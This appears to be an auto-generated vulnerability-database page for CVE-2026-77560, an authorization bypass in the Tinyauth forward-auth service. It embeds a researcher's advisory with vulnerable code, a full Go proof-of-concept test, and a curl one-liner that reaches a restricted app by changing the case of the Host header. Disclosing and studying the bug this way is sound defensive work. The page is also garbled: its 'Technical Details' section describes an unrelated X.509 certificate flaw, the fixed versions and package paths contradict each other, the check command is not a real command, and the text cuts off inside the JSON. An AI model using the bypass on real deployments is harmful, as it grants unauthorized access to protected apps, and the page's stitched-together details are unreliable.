CVE-2026-77560: Tinyauth Forward-auth Per-app ACL Is Matched Vulnerability

HIGH
Advisory Identifier: GHSA-328g-jx67-v94g
CVSS 8.1
CWE-863 CWE-636 CWE-178
Published
Advisory Summary

CVE-2026-77560 is a HIGH (CVSS 8.1) forward-auth per-app acl is matched vulnerability (CWE-863: Incorrect Authorization) affecting Tinyauth libraries in the Go ecosystem. The issue involves forward-auth per-app acl is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for. Remediation is available by upgrading affected packages to version 1.0.1-0.20260720133915-80bc87188ec3.

CVE-2026-77560 at a Glance

CVE Identifier CVE-2026-77560
GHSA Identifier GHSA-328g-jx67-v94g
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product Tinyauth
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-77560

To remediate this vulnerability, upgrade all affected Tinyauth dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/tinyauthapp/tinyauth fixed: 1.0.1-0.20260720133915-80bc87188ec3
Upgrade github.com/tinyauthapp/tinyauth to 1.0.1-0.20260720133915-80bc87188ec3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/tinyauthapp/tinyauth

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-77560, inspect your project dependencies for Tinyauth:

inspect dependencies for github.com/tinyauthapp/tinyauth

Analyze the terminal output to locate any version of Tinyauth in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.1-0.20260720133915-80bc87188ec3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & RFC 5280 Specification

Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Tinyauth failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.

Source Advisory Statement

# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for ## GitHub Advisory Details (form fields — paste-ready) **Affected products** | Field | Value | |-------|-------| | Ecosystem | `Other (self-hosted)` / Go | | Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) | | Affected versions | `< 5.1.2` | | Patched versions | `5.1.2` | **Advisory details** | Field | Value | |-------|-------| | Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open | - **Status:** Runtime-confirmed (local lab, 127.0.0.1 only) - **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD - **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`) - **Class:** Broken access control / authorization bypass across the per-app trust boundary ## Summary tinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/<proxy>` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users. The hostname → ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, ".", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth's case-sensitive lookup **misses** the app's ACL entry. On a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` → true, `CheckIP` (no allow/block) → allowed, `IsUserAllowed` with an empty `users.allow` → `CheckFilter("", …)` → **true**, and the group check with empty required groups → **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration. ## Affected code (v5.0.7, commit `479f1657…`) The ACL lookup uses case-sensitive equality — `internal/service/access_controls_service.go`: ```go func (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) { for app, config := range acls.static { if config.Config.Domain == domain { // case-sensitive == return config, nil } if strings.SplitN(domain, ".", 2)[0] == app { // case-sensitive == return config, nil } } return config.App{}, errors.New("no results") } func (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) { app, err := acls.lookupStaticACLs(domain) if err == nil { return app, nil } // Fallback to Docker labels return acls.docker.GetLabels(domain) } ``` The Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) — `internal/service/docker_service.go`: ```go func (docker *DockerService) GetLabels(appDomain string) (config.App, error) { if !docker.isConnected { return config.App{}, nil // <-- empty App, no error } ... for _, ctr := range containers { ... for appName, appLabels := range labels.Apps { if appLabels.Config.Domain == appDomain { ... } // case-sensitive if strings.SplitN(appDomain, ".", 2)[0] == appName { ... } // case-sensitive } } return config.App{}, nil // <-- no match -> empty App, no error } ``` The forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`: ```go // proxyHandler: host comes straight from X-Forwarded-Host, no normalization acls, err := controller.acls.GetAccessControls(proxyCtx.Host) ... if userContext.IsLoggedIn { userAllowed := controller.auth.IsUserAllowed(c, userContext, acls) // empty acls -> true ... c.Header("Remote-User", utils.SanitizeHeader(userContext.Username)) c.JSON(200, gin.H{"status": 200, "message": "Authenticated"}) } // IsUserAllowed with an empty App: func (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool { if context.OAuth { return utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter("", …) == true } if acls.Users.Block != "" { ... } // "" -> skipped return utils.CheckFilter(acls.Users.Allow, context.Username) // CheckFilter("", …) == true } ``` `utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means "everyone is allowed": ```go func CheckFilter(filter string, str string) bool { if len(strings.TrimSpace(filter)) == 0 { return true // empty allowlist -> allow all } ... } ``` The forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` — none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`. ## Attacker model / precondition The attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page. Trigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → `X-Forwarded-Host`; nginx → `X-Original-URL`; Envoy → `Host`). What bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app. ## Impact Any authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app. ## Proof of Concept (complete — runs on 127.0.0.1 only) Lab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project's own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` — a cross-app authorization bypass. Reproduce against the exact vulnerable tag: ```console git clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth cd tinyauth # The repo embeds the built frontend at internal/assets/dist via //go:embed. # For a backend-only PoC, create a one-file stub so the embed compiles: mkdir -p internal/assets/dist printf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html # Write the test file shown below to internal/controller/zzz_poc_test.go, then: go test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v ``` `internal/controller/zzz_poc_test.go`: ```go package controller_test import ( "net/http/httptest" "path" "testing" "github.com/gin-gonic/gin" "github.com/steveiliop56/tinyauth/internal/bootstrap" "github.com/steveiliop56/tinyauth/internal/config" "github.com/steveiliop56/tinyauth/internal/controller" "github.com/steveiliop56/tinyauth/internal/repository" "github.com/steveiliop56/tinyauth/internal/service" "github.com/steveiliop56/tinyauth/internal/utils/tlog" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) // TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched // against the forwarded host with a case-SENSITIVE string comparison, while // reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in // an app's users.allow list can reach the app anyway by varying the case of the // hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail // open), and the forward-auth verdict becomes 200 "Authenticated". func TestForwardAuthHostCaseACLBypass(t *testing.T) { tlog.NewTestLogger().Init() tempDir := t.TempDir() // Force the docker label provider offline so an ACL miss deterministically // yields the empty App() default (this is exactly what happens on any // deployment whose ACLs live in the static `apps:` config, or whose docker // socket holds no container matching the mixed-case host). t.Setenv("DOCKER_HOST", "unix:///nonexistent/docker.sock") authServiceCfg := service.AuthServiceConfig{ Users: []config.User{ { Username: "admin", Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password }, { Username: "bob", Password: "$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa", // password }, }, SessionExpiry: 10, CookieDomain: "example.com", LoginTimeout: 10, LoginMaxRetries: 3, SessionCookieName: "tinyauth-session", } controllerCfg := controller.ProxyControllerConfig{ AppURL: "https://tinyauth.example.com", } // The admin restricts the "immich" app to user "admin" only. acls := map[string]config.App{ "immich": { Config: config.AppConfig{ Domain: "immich.example.com", }, Users: config.AppUsers{ Allow: "admin", }, }, } // bob is a legitimately-authenticated low-privileged user. He is NOT in // immich's users.allow list. bobCtx := func(c *gin.Context) { c.Set("context", &config.UserContext{ Username: "bob", Name: "Bob", Email: "bob@example.com", IsLoggedIn: true, Provider: "local", }) c.Next() } // Shared services (mirrors the project's own proxy_controller_test.go). app := bootstrap.NewBootstrapApp(config.Config{}) db, err := app.SetupDatabase(path.Join(tempDir, "tinyauth.db")) require.NoError(t, err) defer func() { _ = db.Close() }() queries := repository.New(db) docker := service.NewDockerService() require.NoError(t, docker.Init()) ldap := service.NewLdapService(service.LdapServiceConfig{}) require.NoError(t, ldap.Init()) broker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig)) require.NoError(t, broker.Init()) authService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker) require.NoError(t, authService.Init()) aclsService := service.NewAccessControlsService(docker, acls) newRouter := func() *gin.Engine { gin.SetMode(gin.TestMode) router := gin.New() router.Use(bobCtx) group := router.Group("/api") pc := controller.NewProxyController(controllerCfg, group, aclsService, authService) pc.SetupRoutes() return router } forwardAuth := func(host string) *httptest.ResponseRecorder { rec := httptest.NewRecorder() req := httptest.NewRequest("GET", "/api/auth/traefik", nil) req.Header.Set("x-forwarded-host", host) req.Header.Set("x-forwarded-proto", "https") req.Header.Set("x-forwarded-uri", "/") newRouter().ServeHTTP(rec, req) return rec } // 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403. lower := forwardAuth("immich.example.com") t.Logf("[control] x-forwarded-host=immich.example.com -> %d remote-user=%q", lower.Code, lower.Header().Get("Remote-User")) assert.Equal(t, 403, lower.Code, "boundary must block bob at the exact-case host") // 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==), // empty App fail-open -> 200 Authenticated + Remote-User leaks bob. upper := forwardAuth("IMMICH.example.com") t.Logf("[BYPASS] x-forwarded-host=IMMICH.example.com -> %d remote-user=%q", upper.Code, upper.Header().Get("Remote-User")) require.Equalf(t, 200, upper.Code, "expected the mixed-case host to bypass the users.allow ACL") require.Equalf(t, "bob", upper.Header().Get("Remote-User"), "tinyauth authorized bob for immich across the ACL boundary") } ``` Observed output (v5.0.7; trimmed to the two decisive log lines): ```text === RUN TestForwardAuthHostCaseACLBypass ... access_controls_service.go: Found matching container by domain name=immich ... proxy_controller.go: User not allowed to access resource resource=immich user=bob zzz_poc_test.go: [control] x-forwarded-host=immich.example.com -> 403 remote-user="" ... access_controls_service.go: Falling back to Docker labels for ACLs ... docker_service.go: Docker not connected, returning empty labels zzz_poc_test.go: [BYPASS] x-forwarded-host=IMMICH.example.com -> 200 remote-user="bob" --- PASS: TestForwardAuthHostCaseACLBypass (0.06s) PASS ok github.com/steveiliop56/tinyauth/internal/controller 0.067s ``` The control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H 'Host: IMMICH.example.com' https://<proxy>/` with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob. ## Remediation - **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place. - **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish "no ACL configured for this host" from "empty ACL that allows everyone." When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass. - Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port. Please credit 5ud0 / Tarmo Technologies.

CVE-2026-77560 Affected Tinyauth Versions

1 component(s)
Fixed Versions:
1.0.1-0.20260720133915-80bc87188ec3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/tinyauthapp/tinyauth
Go
< 1.0.1-0.20260720133915-80bc87188ec3
1.0.1-0.20260720133915-80bc87188ec3

References

Frequently Asked Questions

What is CVE-2026-77560?
CVE-2026-77560 is a security vulnerability in Tinyauth involving forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for under CWE-863: Incorrect Authorization.
Which Tinyauth versions are affected?
Affected versions include releases prior to 1.0.1-0.20260720133915-80bc87188ec3 across affected packages: github.com/tinyauthapp/tinyauth.
What version fixes CVE-2026-77560?
Upgrading to 1.0.1-0.20260720133915-80bc87188ec3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/tinyauthapp/tinyauth affected?
Yes, github.com/tinyauthapp/tinyauth is affected in releases prior to 1.0.1-0.20260720133915-80bc87188ec3. Upgrade your dependency to 1.0.1-0.20260720133915-80bc87188ec3 or later.
What is the CVSS score of CVE-2026-77560?
CVE-2026-77560 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-77560?
CVE-2026-77560 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-77560?
Run the dependency tree command: 'inspect dependencies for github.com/tinyauthapp/tinyauth'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-328g-jx67-v94g",
  "modified" : "2026-09-22T20:37:08Z",
  "published" : "2026-09-22T20:37:08Z",
  "aliases" : [ "CVE-2026-77560" ],
  "summary" : "Tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for",
  "details" : "# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for\n\n\n\n## GitHub Advisory Details (form fields — paste-ready)\n\n**Affected products**\n| Field | Value |\n|-------|-------|\n| Ecosystem | `Other (self-hosted)` / Go |\n| Package name | `github.com/steveiliop56/tinyauth` (forward-auth middleware) |\n| Affected versions | `< 5.1.2` |\n| Patched versions | `5.1.2` |\n\n**Advisory details**\n| Field | Value |\n|-------|-------|\n| Title | tinyauth forward-auth authorization bypass: per-app ACL host matching is case-sensitive while hostnames are case-insensitive, so a mixed-case host defeats `users`/`groups`/`ip` allowlists and fails open |\n\n- **Status:** Runtime-confirmed (local lab, 127.0.0.1 only)\n- **Target:** steveiliop56/tinyauth `v5.0.7` (commit `479f1657812b7bf01438607464dedaa148155301`); root cause also present on `main` HEAD\n- **Component:** `internal/service/access_controls_service.go` (`lookupStaticACLs` / `GetAccessControls`), `internal/service/docker_service.go` (`GetLabels`), `internal/controller/proxy_controller.go` (`proxyHandler`)\n- **Class:** Broken access control / authorization bypass across the per-app trust boundary\n\n## Summary\n\ntinyauth is a forward-auth service: a reverse proxy (Traefik/Caddy/nginx/Envoy) calls `GET /api/auth/<proxy>` on every request and only forwards the request upstream if tinyauth returns `200`. tinyauth decides *which* per-app access rules apply by looking up the forwarded hostname (the app) in its ACL set — the static `apps:` config and/or Docker labels. Each app can restrict access with `users.allow` / `users.block`, `oauth.whitelist`, `oauth.groups` / `ldap.groups`, and `ip.allow`. These allowlists are the entire authorization model that separates one protected app from another for a shared pool of authenticated users.\n\nThe hostname → ACL lookup is performed with **case-sensitive** Go string comparisons (`config.Config.Domain == domain` and `strings.SplitN(domain, \".\", 2)[0] == app`). Hostnames, however, are case-*insensitive* everywhere else in the stack: DNS, HTTP `Host`-header routing, and TLS SNI all treat `immich.example.com` and `IMMICH.example.com` as the same host, so a reverse proxy routes both to the same backend. When a request arrives with a mixed-case host, the proxy still routes it to the intended app and faithfully forwards the mixed-case value in `X-Forwarded-Host` (or `X-Original-URL` for nginx, or `Host` for Envoy), but tinyauth's case-sensitive lookup **misses** the app's ACL entry.\n\nOn a miss, tinyauth does not fail closed. `GetAccessControls` falls back to `DockerService.GetLabels`, which returns an **empty `config.App{}` with no error** whenever nothing matches (or Docker is not connected). The proxy handler then evaluates that empty App: `IsAuthEnabled` → true, `CheckIP` (no allow/block) → allowed, `IsUserAllowed` with an empty `users.allow` → `CheckFilter(\"\", …)` → **true**, and the group check with empty required groups → **true**. The net result is that any *already-authenticated* user is authorized (`200 Authenticated`) for an app whose ACL was supposed to exclude them — simply by upper-casing (or otherwise re-casing) one letter of the hostname. This defeats the per-app `users`/`groups`/`ip` allowlist for every proxy integration.\n\n## Affected code (v5.0.7, commit `479f1657…`)\n\nThe ACL lookup uses case-sensitive equality — `internal/service/access_controls_service.go`:\n\n```go\nfunc (acls *AccessControlsService) lookupStaticACLs(domain string) (config.App, error) {\n\tfor app, config := range acls.static {\n\t\tif config.Config.Domain == domain {              // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t\tif strings.SplitN(domain, \".\", 2)[0] == app {    // case-sensitive ==\n\t\t\treturn config, nil\n\t\t}\n\t}\n\treturn config.App{}, errors.New(\"no results\")\n}\n\nfunc (acls *AccessControlsService) GetAccessControls(domain string) (config.App, error) {\n\tapp, err := acls.lookupStaticACLs(domain)\n\tif err == nil {\n\t\treturn app, nil\n\t}\n\t// Fallback to Docker labels\n\treturn acls.docker.GetLabels(domain)\n}\n```\n\nThe Docker-label fallback has the same case-sensitive comparisons and, critically, returns an **empty App with a nil error** when nothing matches (fail open) — `internal/service/docker_service.go`:\n\n```go\nfunc (docker *DockerService) GetLabels(appDomain string) (config.App, error) {\n\tif !docker.isConnected {\n\t\treturn config.App{}, nil            // <-- empty App, no error\n\t}\n\t...\n\tfor _, ctr := range containers {\n\t\t...\n\t\tfor appName, appLabels := range labels.Apps {\n\t\t\tif appLabels.Config.Domain == appDomain { ... }        // case-sensitive\n\t\t\tif strings.SplitN(appDomain, \".\", 2)[0] == appName { ... } // case-sensitive\n\t\t}\n\t}\n\treturn config.App{}, nil                // <-- no match -> empty App, no error\n}\n```\n\nThe forward-auth verdict is built from that (possibly empty) App, and an empty App authorizes any logged-in user — `internal/controller/proxy_controller.go` and `internal/service/auth_service.go`:\n\n```go\n// proxyHandler: host comes straight from X-Forwarded-Host, no normalization\nacls, err := controller.acls.GetAccessControls(proxyCtx.Host)\n...\nif userContext.IsLoggedIn {\n\tuserAllowed := controller.auth.IsUserAllowed(c, userContext, acls)   // empty acls -> true\n\t...\n\tc.Header(\"Remote-User\", utils.SanitizeHeader(userContext.Username))\n\tc.JSON(200, gin.H{\"status\": 200, \"message\": \"Authenticated\"})\n}\n\n// IsUserAllowed with an empty App:\nfunc (auth *AuthService) IsUserAllowed(c *gin.Context, context config.UserContext, acls config.App) bool {\n\tif context.OAuth {\n\t\treturn utils.CheckFilter(acls.OAuth.Whitelist, context.Email) // CheckFilter(\"\", …) == true\n\t}\n\tif acls.Users.Block != \"\" { ... }                                  // \"\" -> skipped\n\treturn utils.CheckFilter(acls.Users.Allow, context.Username)       // CheckFilter(\"\", …) == true\n}\n```\n\n`utils.CheckFilter` returns `true` for an empty filter, so an empty `users.allow` means \"everyone is allowed\":\n\n```go\nfunc CheckFilter(filter string, str string) bool {\n\tif len(strings.TrimSpace(filter)) == 0 {\n\t\treturn true          // empty allowlist -> allow all\n\t}\n\t...\n}\n```\n\nThe forwarded host is used verbatim: `getForwardAuthContext` reads `x-forwarded-host`, `getAuthRequestContext` parses `x-original-url`, `getExtAuthzContext` uses `c.Request.Host` — none of them lower-cases or canonicalizes the host before it reaches `GetAccessControls`.\n\n## Attacker model / precondition\n\nThe attacker is a **legitimately authenticated but low-privileged** user of the tinyauth instance — they hold a valid session (or valid credentials) for their own account, exactly the normal state of any user in a multi-app SSO deployment. They are simply *not* on the `users.allow` / group / IP allowlist of some other app protected by the same tinyauth. tinyauth does not offer self-registration, so a valid account is required; this is an authorization (not authentication) bypass, hence PR:L. An unauthenticated visitor is still redirected to the login page.\n\nTrigger: send the request to the protected app with a hostname that routes identically but differs as a byte string from the configured ACL key — the simplest being a case change (`IMMICH.example.com` for `immich.example.com`). Reverse proxies match `Host` rules case-insensitively (RFC 3986 §3.2.2 / RFC 4343), so the request is still routed to the intended backend, and the proxy forwards the mixed-case host to tinyauth in `X-Forwarded-Host` / `X-Original-URL` / `Host`. Equivalent host encodings that route the same but bypass the string compare include a trailing FQDN dot (`immich.example.com.`) and, for by-domain rules, an added port. The bypass applies to all four proxy integrations (Traefik/Caddy → `X-Forwarded-Host`; nginx → `X-Original-URL`; Envoy → `Host`).\n\nWhat bounds severity: the attacker must already have a valid account, and the concrete confidentiality/integrity impact depends on the specific app that becomes reachable. Because the whole purpose of putting an app behind a per-app allowlist is to protect sensitive functionality, reaching it generically yields read and write access to that app's data (C:H/I:H). The bypass affects authorization only; global gates that are configured tinyauth-wide (e.g. a global `oauth.whitelist` used at login) are not affected because they run at login, not per-app.\n\n## Impact\n\nAny authenticated user can reach any app protected on the same tinyauth instance whose access is restricted by `users.allow` / `users.block`, `oauth.groups`, `ldap.groups`, or (for authenticated users) `oauth.whitelist` — none of which are enforced once the ACL lookup misses on a mixed-case host. Concretely, a user restricted to a handful of apps can obtain full authenticated access to an admin-only or team-only app (its data and actions) hosted behind the same tinyauth, defeating the per-app trust boundary that is the product's core authorization feature. tinyauth even emits the spoofed identity to the upstream via the `Remote-User` / `Remote-Email` headers, so downstream apps that trust those headers treat the attacker as a legitimately-authorized user of that app.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nLab-only. This is a single self-contained Go test dropped into the tinyauth source tree. It builds the **real** `ProxyController`, `AccessControlsService`, and `AuthService` (the same wiring the project's own `proxy_controller_test.go` uses), configures one app `immich` restricted to user `admin`, and drives the real forward-auth endpoint as a logged-in non-admin user `bob`. It proves: (1) with the exact-case host, bob is correctly blocked (`403`); (2) with an upper-cased host, the ACL lookup misses, tinyauth fails open to an empty App, and bob is authorized (`200`) with `Remote-User: bob` — a cross-app authorization bypass.\n\nReproduce against the exact vulnerable tag:\n\n```console\ngit clone --depth 1 --branch v5.0.7 https://github.com/steveiliop56/tinyauth\ncd tinyauth\n# The repo embeds the built frontend at internal/assets/dist via //go:embed.\n# For a backend-only PoC, create a one-file stub so the embed compiles:\nmkdir -p internal/assets/dist\nprintf '<!doctype html><title>stub</title>' > internal/assets/dist/index.html\n# Write the test file shown below to internal/controller/zzz_poc_test.go, then:\ngo test ./internal/controller/ -run TestForwardAuthHostCaseACLBypass -v\n```\n\n`internal/controller/zzz_poc_test.go`:\n\n```go\npackage controller_test\n\nimport (\n\t\"net/http/httptest\"\n\t\"path\"\n\t\"testing\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/steveiliop56/tinyauth/internal/bootstrap\"\n\t\"github.com/steveiliop56/tinyauth/internal/config\"\n\t\"github.com/steveiliop56/tinyauth/internal/controller\"\n\t\"github.com/steveiliop56/tinyauth/internal/repository\"\n\t\"github.com/steveiliop56/tinyauth/internal/service\"\n\t\"github.com/steveiliop56/tinyauth/internal/utils/tlog\"\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestForwardAuthHostCaseACLBypass demonstrates that the per-app ACL is matched\n// against the forwarded host with a case-SENSITIVE string comparison, while\n// reverse proxies route hosts case-INSENSITIVELY. A logged-in user who is NOT in\n// an app's users.allow list can reach the app anyway by varying the case of the\n// hostname: the ACL lookup misses, tinyauth falls back to an EMPTY App (fail\n// open), and the forward-auth verdict becomes 200 \"Authenticated\".\nfunc TestForwardAuthHostCaseACLBypass(t *testing.T) {\n\ttlog.NewTestLogger().Init()\n\ttempDir := t.TempDir()\n\n\t// Force the docker label provider offline so an ACL miss deterministically\n\t// yields the empty App() default (this is exactly what happens on any\n\t// deployment whose ACLs live in the static `apps:` config, or whose docker\n\t// socket holds no container matching the mixed-case host).\n\tt.Setenv(\"DOCKER_HOST\", \"unix:///nonexistent/docker.sock\")\n\n\tauthServiceCfg := service.AuthServiceConfig{\n\t\tUsers: []config.User{\n\t\t\t{\n\t\t\t\tUsername: \"admin\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t\t{\n\t\t\t\tUsername: \"bob\",\n\t\t\t\tPassword: \"$2a$10$ZwVYQH07JX2zq7Fjkt3gU.BjwvvwPeli4OqOno04RQIv0P7usBrXa\", // password\n\t\t\t},\n\t\t},\n\t\tSessionExpiry:     10,\n\t\tCookieDomain:      \"example.com\",\n\t\tLoginTimeout:      10,\n\t\tLoginMaxRetries:   3,\n\t\tSessionCookieName: \"tinyauth-session\",\n\t}\n\n\tcontrollerCfg := controller.ProxyControllerConfig{\n\t\tAppURL: \"https://tinyauth.example.com\",\n\t}\n\n\t// The admin restricts the \"immich\" app to user \"admin\" only.\n\tacls := map[string]config.App{\n\t\t\"immich\": {\n\t\t\tConfig: 